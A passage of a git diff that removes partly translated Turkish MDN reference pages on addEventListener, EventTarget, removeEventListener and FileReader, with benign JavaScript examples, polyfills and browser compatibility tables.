(el.addEventListener) { - el.addEventListener('click', modifyText, false); -} else if (el.attachEvent) { - el.attachEvent('onclick', modifyText); -} -</pre> - -<p>There is a drawback to <code>attachEvent()</code>: The value of <code>this</code> will be a reference to the <code>window</code> object, instead of the element on which it was fired.</p> - -<p>The <code>attachEvent()</code> method could be paired with the <code>onresize</code> event to detect when certain elements in a web page were resized. The proprietary <code>mselementresize</code> event, when paired with the <code>addEventListener </code>method of registering event handlers, provides similar functionality as <code>onresize</code>, firing when certain HTML elements are resized.</p> - -<h3 id="Uyumluluk">Uyumluluk</h3> - -<p>You can work around <code>addEventListener()</code>, <code>removeEventListener()</code>, {{domxref("Event.preventDefault()")}}, and {{domxref("Event.stopPropagation()")}} not being supported by Internet Explorer 8 by using the following code at the beginning of your script. The code supports the use of <code>handleEvent()</code> and also the {{event("DOMContentLoaded")}} event.</p> - -<div class="note"> -<p><strong>Note: </strong><code>useCapture</code> is not supported, as IE 8 does not have any alternative method. The following code only adds IE 8 support. This IE 8 polyfill only works in standards mode: a doctype declaration is required.</p> -</div> - -<pre class="brush: js notranslate">(function() { - if (!Event.prototype.preventDefault) { - Event.prototype.preventDefault=function() { - this.returnValue=false; - }; - } - if (!Event.prototype.stopPropagation) { - Event.prototype.stopPropagation=function() { - this.cancelBubble=true; - }; - } - if (!Element.prototype.addEventListener) { - var eventListeners=[]; - - var addEventListener=function(type,listener /*, useCapture (will be ignored) */) { - var self=this; - var wrapper=function(e) { - e.target=e.srcElement; - e.currentTarget=self; - if (typeof listener.handleEvent != 'undefined') { - listener.handleEvent(e); - } else { - listener.call(self,e); - } - }; - if (type=="DOMContentLoaded") { - var wrapper2=function(e) { - if (document.readyState=="complete") { - wrapper(e); - } - }; - document.attachEvent("onreadystatechange",wrapper2); - eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2}); - - if (document.readyState=="complete") { - var e=new Event(); - e.srcElement=window; - wrapper2(e); - } - } else { - this.attachEvent("on"+type,wrapper); - eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper}); - } - }; - var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) { - var counter=0; - while (counter<eventListeners.length) { - var eventListener=eventListeners[counter]; - if (eventListener.object==this && eventListener.type==type && eventListener.listener==listener) { - if (type=="DOMContentLoaded") { - this.detachEvent("onreadystatechange",eventListener.wrapper); - } else { - this.detachEvent("on"+type,eventListener.wrapper); - } - eventListeners.splice(counter, 1); - break; - } - ++counter; - } - }; - Element.prototype.addEventListener=addEventListener; - Element.prototype.removeEventListener=removeEventListener; - if (HTMLDocument) { - HTMLDocument.prototype.addEventListener=addEventListener; - HTMLDocument.prototype.removeEventListener=removeEventListener; - } - if (Window) { - Window.prototype.addEventListener=addEventListener; - Window.prototype.removeEventListener=removeEventListener; - } - } -})();</pre> - -<h3 id="Eski_bir_olay_dinleyicisini_ekleme_yolu">Eski bir olay dinleyicisini ekleme yolu </h3> - -<p><code>addEventListener()</code> was introduced with the DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a> specification. Before then, event listeners were registered as follows:</p> - -<pre class="brush: js notranslate">// Passing a function reference — do not add '()' after it, which would call the function! -el.onclick = modifyText; - -// Using a function expression -element.onclick = function() { - // ... function logic ... -}; -</pre> - -<p>This method replaces the existing <code>click</code> event listener(s) on the element if there are any. Other events and associated event handlers such as <code>blur</code> (<code>onblur</code>) and <code>keypress</code> (<code>onkeypress</code>) behave similarly.</p> - -<p>Because it was essentially part of {{glossary("DOM", "DOM 0")}}, this technique for adding event listeners is very widely supported and requires no special cross-browser code. It is used to register event listeners dynamically when very old browsers (like IE <=8) must be supported; see the table below for details on browser support for <code>addEventListener</code>.</p> - -<h3 id="Hafıza_sorunları">Hafıza sorunları</h3> - -<pre class="brush: js notranslate">const els = document.getElementsByTagName('*'); - - -// Case 1 -for(let i=0 ; i < els.length; i++){ - els[i].addEventListener("click", function(e){/*do something*/}, false); -} - - -// Case 2 -function processEvent(e){ - /* do something */ -} - -for(let i=0 ; i < els.length; i++){ - els[i].addEventListener("click", processEvent, false); -} -</pre> - -<p>In the first case above, a new (anonymous) handler function is created with each iteration of the loop. In the second case, the same previously declared function is used as an event handler, which results in smaller memory consumption because there is only one handler function created. Moreover, in the first case, it is not possible to call {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} because no reference to the anonymous function is kept (or here, not kept to any of the multiple anonymous functions the loop might create.) In the second case, it's possible to do <code><var>myElement</var>.removeEventListener("click", processEvent, false)</code> because <code>processEvent</code> is the function reference.</p> - -<p>Actually, regarding memory consumption, the lack of keeping a function reference is not the real issue; rather it is the lack of keeping a STATIC function reference. In both problem-cases below, a function reference is kept, but since it is redefined on each iteration, it is not static. In the third case, the reference to the anonymous function is being reassigned with each iteration. In the fourth case, the entire function definition is unchanging, but it is still being repeatedly defined as if new (unless it was [[promoted]] by the compiler) and so is not static. Therefore, though appearing to be simply [[Multiple identical event listeners]], in both cases each iteration will instead create a new listener with its own unique reference to the handler function. However, since the function definition itself does not change, the SAME function may still be called for every duplicate listener (especially if the code gets optimized.)</p> - -<p>Also in both cases, because the function reference was kept but repeatedly redefined with each add, the remove-statement from above can still remove a listener, but now only the last one added.</p> - -<pre class="brush: js notranslate">// For illustration only: Note "MISTAKE" of [j] for [i] thus causing desired events to all attach to SAME element - -// Case 3 -for(let i=0, j=0 ; i<els.length ; i++){ - /* do lots of stuff with j */ - els[j].addEventListener("click", processEvent = function(e){/*do something*/}, false); -} - -// Case 4 -for(let i=0, j=0 ; i<els.length ; i++){ - /* do lots of stuff with j */ - function processEvent(e){/*do something*/}; - els[j].addEventListener("click", processEvent, false); -}</pre> - -<h3 id="Sayfa_kaydırma_performansını_pasif_dinleyiciler_ile_iyileştirmek">Sayfa kaydırma performansını pasif dinleyiciler ile iyileştirmek</h3> - -<p>According to the specification, the default value for the <code>passive</code> option is always <code>false</code>. However, this introduces the potential for event listeners handling certain touch events (among others) to block the browser's main thread while it is attempting to handle scrolling, resulting in possibly enormous reduction in performance during scroll handling.</p> - -<p>To prevent this problem, some browsers (specifically, Chrome and Firefox) have changed the default value of the <code>passive</code> option to <code>true</code> for the {{event("touchstart")}} and {{event("touchmove")}} events on the document-level nodes {{domxref("Window")}}, {{domxref("Document")}}, and {{domxref("Document.body")}}. This prevents the event listener from being called, so it can't block page rendering while the user is scrolling.</p> - -<div class="note"> -<p><strong>Note:</strong> See the compatibility table below if you need to know which browsers (and/or which versions of those browsers) implement this altered behavior.</p> -</div> - -<p>You can override this behavior by explicitly setting the value of <code>passive</code> to <code>false</code>, as shown here:</p> - -<pre class="brush: js notranslate">/* Feature detection */ -let passiveIfSupported = false; - -try { - window.addEventListener("test", null, - Object.defineProperty( - {}, - "passive", - { - get: function() { passiveIfSupported = { passive: false }; } - } - ) - ); -} catch(err) {} - -window.addEventListener('scroll', function(event) { - /* do something */ - // can't use event.preventDefault(); -}, passiveIfSupported ); -</pre> - -<p>On older browsers that don't support the <code>options</code> parameter to <code>addEventListener()</code>, attempting to use it prevents the use of the <code>useCapture</code> argument without proper use of <a href="#Safely_detecting_option_support">feature detection</a>.</p> - -<p>You don't need to worry about the value of <code>passive</code> for the basic {{event("scroll")}} event. Since it can't be canceled, event listeners can't block page rendering anyway.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td> - <td>{{Spec2("DOM2 Events")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - - - -<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p> - -<h2 id="Ek_olarak">Ek olarak</h2> - -<ul> - <li>{{domxref("EventTarget.removeEventListener()")}}</li> - <li><a href="/en-US/docs/DOM/Creating_and_triggering_events">Creating and triggering custom events</a></li> - <li><a href="http://www.quirksmode.org/js/this.html">More details on the use of <code>this</code> in event handlers</a></li> -</ul> diff --git a/files/tr/web/api/eventtarget/index.html b/files/tr/web/api/eventtarget/index.html deleted file mode 100644 index a5872453c9..0000000000 --- a/files/tr/web/api/eventtarget/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: EventTarget -slug: Web/API/EventTarget -tags: - - API - - DOM - - DOM Events - - Interface - - NeedsTranslation - - TopicStub -translation_of: Web/API/EventTarget ---- -<p>{{ApiRef("DOM Events")}}</p> - -<p><code>EventTarget</code> is an interface implemented by objects that can receive events and may have listeners for them.</p> - -<p>{{domxref("Element")}}, {{domxref("document")}}, and {{domxref("window")}} are the most common event targets, but other objects can be event targets too, for example {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}}, and others.</p> - -<p>Many event targets (including elements, documents, and windows) also support setting <a href="/en-US/docs/Web/Guide/DOM/Events/Event_handlers">event handlers</a> via <code>on...</code> properties and attributes.</p> - -<h2 id="Methods">Methods</h2> - -<dl> - <dt>{{domxref("EventTarget.addEventListener()")}}</dt> - <dd>Register an event handler of a specific event type on the <code>EventTarget</code>.</dd> - <dt>{{domxref("EventTarget.removeEventListener()")}}</dt> - <dd>Removes an event listener from the <code>EventTarget</code>.</dd> - <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt> - <dd>Dispatch an event to this <code>EventTarget</code>.</dd> -</dl> - -<h3 id="Additional_methods_for_Mozilla_chrome_code">Additional methods for Mozilla chrome code</h3> - -<p>Mozilla extensions for use by JS-implemented event targets to implement on* properties. See also <a href="/en-US/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a>.</p> - -<ul> - <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{non-standard_inline}}</li> - <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{non-standard_inline}}</li> -</ul> - -<h2 id="Example">Example:</h2> - -<h3 id="_Simple_implementation_of_EventTarget" name="_Simple_implementation_of_EventTarget">Simple implementation of EventTarget</h3> - -<pre class="brush: js">var EventTarget = function() { - this.listeners = {}; -}; - -EventTarget.prototype.listeners = null; -EventTarget.prototype.addEventListener = function(type, callback) { - if(!(type in this.listeners)) { - this.listeners[type] = []; - } - this.listeners[type].push(callback); -}; - -EventTarget.prototype.removeEventListener = function(type, callback) { - if(!(type in this.listeners)) { - return; - } - var stack = this.listeners[type]; - for(var i = 0, l = stack.length; i < l; i++) { - if(stack[i] === callback){ - stack.splice(i, 1); - return this.removeEventListener(type, callback); - } - } -}; - -EventTarget.prototype.dispatchEvent = function(event) { - if(!(event.type in this.listeners)) { - return; - } - var stack = this.listeners[event.type]; - event.target = this; - for(var i = 0, l = stack.length; i < l; i++) { - stack[i].call(this, event); - } -}; -</pre> - -{{ EmbedLiveSample('_Simple_implementation_of_EventTarget') }} - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td> - <td>{{Spec2('DOM3 Events')}}</td> - <td>A few parameters are now optional (<code>listener</code>), or accepts the <code>null</code> value (<code>useCapture</code>).</td> - </tr> - <tr> - <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td> - <td>{{Spec2('DOM2 Events')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0</td> - <td>{{CompatGeckoDesktop("1")}}</td> - <td>9.0</td> - <td>7</td> - <td>1.0<sup>[1]</sup></td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0</td> - <td>{{CompatGeckoMobile("1")}}</td> - <td>9.0</td> - <td>6.0</td> - <td>1.0</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] <code>window.EventTarget</code> does not exist.</p> - -<h2 id="See_Also">See Also</h2> - -<ul> - <li><a href="/en-US/docs/Web/Reference/Events">Event reference</a> - the events available in the platform.</li> - <li><a href="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li> - <li>{{domxref("Event")}} interface</li> -</ul> diff --git a/files/tr/web/api/eventtarget/removeeventlistener/index.html b/files/tr/web/api/eventtarget/removeeventlistener/index.html deleted file mode 100644 index 36617f7d0c..0000000000 --- a/files/tr/web/api/eventtarget/removeeventlistener/index.html +++ /dev/null @@ -1,274 +0,0 @@ ---- -title: EventTarget.removeEventListener() -slug: Web/API/EventTarget/removeEventListener -translation_of: Web/API/EventTarget/removeEventListener ---- -<p>{{APIRef("DOM Events")}}</p> - -<p>The <strong><code>EventTarget.removeEventListener()</code></strong> methodu daha önce {{domxref("EventTarget.addEventListener()")}} ile kaydedilmiş olan {{domxref("EventListener")}}'i kaldırır.</p> - -<h2 id="Yazım">Yazım</h2> - -<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]); -</code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]); -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>type</code></dt> - <dd>Kaldırılacak olan eventListener'in türünü belirten String.</dd> - <dt><code>listener</code></dt> - <dd>Kaldırılacak olan {{domxref("EventListener")}} fonksiyonu.</dd> - <dt>options {{optional_inline}}</dt> - <dd>{{domxref("EventListener")}} objesinin karakteristliğini belirten seçenek. Kullanılabilecek seçenekler: - <ul> - <li><code>capture</code>: {{jsxref("Boolean")}}.Bu, benzer türdeki olayların DOM ağacında altında kalan herhangi bir EventTarget'tan önce kayıtlı dinleyiciye iletileceği anlamına gelir. </li> - <li><code>passive</code>: {{jsxref("Boolean")}}. Dinleyicinin asla preventDefault( ) fonksiyonunu çağıramayacağını belirten {{jsxref("Boolean")}}. Dinleyici çağırsa bile "user-agent" bunu dikkate almayacaktır ve bu konuda bşr konsol uyarısında bulunacaktır.</li> - <li>{{non-standard_inline}}<code> mozSystemGroup</code>: Sadece XBL ya da Firefox' chrome da çalışan kodta geçerlidir.Belirtilen olay dinleyicisinin sistem gurubuna atanıp atanmadığını gösteren {{jsxref("Boolean")}} dır.</li> - </ul> - </dd> - <dt><code>useCapture</code> {{optional_inline}}</dt> - <dd>Kaldırılacak olan {{domxref("EventListener")}}'in capturing EventListener olup olmadığını belirtir. Eğer bu alan kullanılmazsa varsayılan deferi "false" olarak kabul edilir.</dd> - <dd>Eğer bir olay dinleyici bir defa yakalayıcı bir defa yakalayıcı olmayacak şekilde iki defa kayıt edilmişse her birini ayrı ayrı kaldırın. Kaydedici olan olay dinleyicinin kaldırılması diğer olay dinleyici etkilemez.</dd> -</dl> - -<div class="note"><strong>Note:</strong> <code>useCapture</code> çoğu eski tarayıcılarda gerekli bir alandır. Eğer geniş uyumluluğu hedefliyorsanız bu parametreyi sağlamanız önerilir.</div> - -<h3 id="Return_Value">Return Value</h3> - -<p>Void.</p> - -<h2 id="Notlar">Notlar</h2> - -<p>Eğer bir {{domxref("EventListener")}} , {{domxref("EventTarget")}}'tan bir olayı işlerken kaldırılmışsa en son yapılan aksiyonlardan bir daha çağrılamaz. Ama tekrar atanabilir.</p> - -<p><code>removeEventListener()</code> fonksiyonunun argümanlarla çağırılması <code>EventTarget</code> üzerinde herhangi bir {{domxref("EventListener")}}'in olup olmadığını kontrol etmede kullanılamaz.</p> - -<h2 id="Örnek">Örnek</h2> - -<p>Bu örnekte nasıl fareye basma tabanlı olay dinleyicisi eklemeyi ve üzerine fareyle üzerine gelme tabanlı olay dinleyicisinin kaldırmanın nasıl yapılacağını göstermektedir.</p> - -<pre class="brush: js">var body = - document.querySelector('body'), - clickTarget = - document.getElementById('click-target'), - mouseOverTarget = - document.getElementById('mouse-over-target'), - toggle = false; - -function makeBackgroundYellow() { - 'use strict'; - - if (toggle) { - body.style.backgroundColor = 'white'; - } else { - body.style.backgroundColor = 'yellow'; - } - - toggle = !toggle; -} - -clickTarget.addEventListener('click', - makeBackgroundYellow, - false -); - -mouseOverTarget.addEventListener('mouseover', function () { - 'use strict'; - - clickTarget.removeEventListener('click', - makeBackgroundYellow, - false - ); -}); -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}</td> - <td>{{Spec2("DOM2 Events")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Desteği">Tarayıcı Desteği</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0<sup>[1][2]</sup></td> - <td>{{CompatGeckoDesktop("1")}}<sup>[3]</sup></td> - <td>9.0</td> - <td>7<sup>[4]</sup></td> - <td>1.0<sup>[1]</sup></td> - </tr> - <tr> - <td><code>useCapture</code> made optional</td> - <td>{{CompatVersionUnknown}}</td> - <td>6.0</td> - <td>9.0</td> - <td>11.60</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>options</code> parameter</td> - <td>{{CompatChrome(49.0)}}</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>1.0<sup>[1]</sup></td> - <td>{{CompatVersionUnknown}}<sup>[2]</sup></td> - <td>{{CompatGeckoMobile("1")}}<sup>[3]</sup></td> - <td>9.0</td> - <td>6.0<sup>[4]</sup></td> - <td>1.0<sup>[1]</sup></td> - <td>{{CompatVersionUnknown}}<sup>[2]</sup></td> - </tr> - <tr> - <td><code>useCapture</code> made optional</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>options</code> parameter</td> - <td>{{CompatNo}}</td> - <td>{{CompatChrome(49.0)}}</td> - <td> </td> - <td> </td> - <td> </td> - <td> </td> - <td>{{CompatChrome(49.0)}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Although WebKit explicitly added "<code>[optional]</code>" to the <code>useCapture</code> parameter for Safari 5.1 and Chrome 13, it had been working before the change.</p> - -<p>[2] Before Chrome 49, the type and listener parameters were optional.</p> - -<p>[2] Prior to Firefox 6, the browser would throw an exception if the <code>useCapture</code> parameter was not explicitly <code>false</code>. Prior to Gecko 9.0 {{geckoRelease("9.0")}}, <code>addEventListener()</code> would throw an exception if the listener parameter was <code>null</code>; now the method returns without error, but without doing anything.</p> - -<p>[4] Opera 11.60 made the <code>useCapture</code> parameter optional (<a href="http://my.opera.com/ODIN/blog/2011/09/29/what-s-new-in-opera-development-snapshots-28-september-2011-edition">source</a>).</p> - -<p>[5] For backwards compatibility, browsers that support <code>options</code> allow the third parameter to be either <code>options</code> or <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a>.</p> - -<h2 id="Eski_Tarayıcılara_Polyfill_Desteği">Eski Tarayıcılara Polyfill Desteği</h2> - -<p><code>addEventListener()</code> ve <code>removeEventListener()</code> eski tarayıcılarda bulunmaz. Onun yerine aşağıdaki kodu scriptlerinizin başına ekleyerek bu fonksiyonların kullanımını sağlayabilirsiniz. Ne yazık ki bu methot Internet Explorer 7 ya da öncesinde Element.prototype'ı extend etme desteğinin Explorer 8 gelene kadar sağlanmadığı için çalışmaz.</p> - -<pre class="brush: js">if (!Element.prototype.addEventListener) { - var oListeners = {}; - function runListeners(oEvent) { - if (!oEvent) { oEvent = window.event; } - for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId < oEvtListeners.aEls.length; iElId++) { - if (oEvtListeners.aEls[iElId] === this) { - for (iLstId; iLstId < oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); } - break; - } - } - } - Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) { - if (oListeners.hasOwnProperty(sEventType)) { - var oEvtListeners = oListeners[sEventType]; - for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) { - if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; } - } - if (nElIdx === -1) { - oEvtListeners.aEls.push(this); - oEvtListeners.aEvts.push([fListener]); - this["on" + sEventType] = runListeners; - } else { - var aElListeners = oEvtListeners.aEvts[nElIdx]; - if (this["on" + sEventType] !== runListeners) { - aElListeners.splice(0); - this["on" + sEventType] = runListeners; - } - for (var iLstId = 0; iLstId < aElListeners.length; iLstId++) { - if (aElListeners[iLstId] === fListener) { return; } - } - aElListeners.push(fListener); - } - } else { - oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] }; - this["on" + sEventType] = runListeners; - } - }; - Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) { - if (!oListeners.hasOwnProperty(sEventType)) { return; } - var oEvtListeners = oListeners[sEventType]; - for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) { - if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; } - } - if (nElIdx === -1) { return; } - for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId < aElListeners.length; iLstId++) { - if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); } - } - }; -} -</pre> - -<h2 id="Ayrıca_Bakın">Ayrıca Bakın</h2> - -<ul> - <li>{{domxref("EventTarget.addEventListener()")}}.</li> - <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li> -</ul> diff --git a/files/tr/web/api/filereader/index.html b/files/tr/web/api/filereader/index.html deleted file mode 100644 index 6a9742f8d1..0000000000 --- a/files/tr/web/api/filereader/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: FileReader -slug: Web/API/FileReader -tags: - - API - - DOM - - File API - - Files - - NeedsTranslation - - Reference - - TopicStub - - WebAPI -translation_of: Web/API/FileReader ---- -<div>{{APIRef("File API")}}</div> - -<p>The <code>FileReader</code> object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using {{domxref("File")}} or {{domxref("Blob")}} objects to specify the file or data to read.</p> - -<p>File objects may be obtained from a {{domxref("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's <a href="/en-US/docs/Web/API/DataTransfer"><code>DataTransfer</code></a> object, or from the <code>mozGetAsFile()</code> API on an {{domxref("HTMLCanvasElement")}}.</p> - -<h2 id="Constructor">Constructor</h2> - -<pre class="syntaxbox">FileReader FileReader();</pre> - -<p>See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for details and examples.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt> - <dd>A {{domxref("DOMError")}} representing the error that occurred while reading the file.</dd> - <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt> - <dd>A number indicating the state of the <code>FileReader</code>. This will be one of the {{anch("State constants")}}.</dd> - <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt> - <dd>The file's contents. This property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.</dd> -</dl> - -<h3 id="Event_handlers">Event handlers</h3> - -<dl> - <dt>{{domxref("FileReader.onabort")}}</dt> - <dd>A handler for the {{event("abort")}} event. This event is triggered each time the reading operation is aborted.</dd> - <dt>{{domxref("FileReader.onerror")}}</dt> - <dd>A handler for the {{event("error")}} event. This event is triggered each time the reading operation encounter an error.</dd> - <dt>{{domxref("FileReader.onload")}}</dt> - <dd>A handler for the {{event("load")}} event. This event is triggered each time the reading operation is successfully completed.</dd> - <dt>{{domxref("FileReader.onloadstart")}}</dt> - <dd>A handler for the {{event("loadstart")}} event. This event is triggered each time the reading is starting.</dd> - <dt>{{domxref("FileReader.onloadend")}}</dt> - <dd>A handler for the {{event("loadend")}} event. This event is triggered each time the reading operation is completed (either in success or failure).</dd> - <dt>{{domxref("FileReader.onprogress")}}</dt> - <dd>A handler for the {{event("progress")}} event. This event is triggered while reading a {{domxref("Blob")}} content.</dd> -</dl> - -<div class="note"> -<p>Note: As <code>FileReader</code> inherits from {{domxref("EventTarget")}}, all those events can also be listened for by using the {{domxref("EventTarget.addEventListener()","addEventListener")}} method.</p> -</div> - -<h3 id="State_constants">State constants</h3> - -<ul> - <li><code>EMPTY</code> : <code>0</code> : No data has been loaded yet.</li> - <li><code>LOADING</code> : <code>1</code> : Data is currently being loaded.</li> - <li><code>DONE</code> : <code>2</code> : The entire read request has been completed.</li> -</ul> - -<h2 id="Methods">Methods</h2> - -<dl> - <dt>{{domxref("FileReader.abort()")}}</dt> - <dd>Aborts the read operation. Upon return, the <code>readyState</code> will be <code>DONE</code>.</dd> - <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{gecko_minversion_inline("7.0")}}</dt> - <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.</dd> - <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt> - <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains the raw binary data from the file as a string.</dd> - <dt>{{domxref("FileReader.readAsDataURL()")}}</dt> - <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains a <code>data:</code> URL representing the file's data.</dd> - <dt>{{domxref("FileReader.readAsText()")}}</dt> - <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains the contents of the file as a text string.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td> - <td>{{Spec2("File API")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox (Gecko)</th> - <th>Chrome</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td> - <td>7</td> - <td>10<sup>[2]</sup></td> - <td>12.02<sup>[3]</sup></td> - <td>6.0.2</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox Mobile (Gecko)</th> - <th>Android</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>32</td> - <td>3</td> - <td>10</td> - <td>11.5</td> - <td>6.1</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p> - -<p>[2] IE9 has a <a 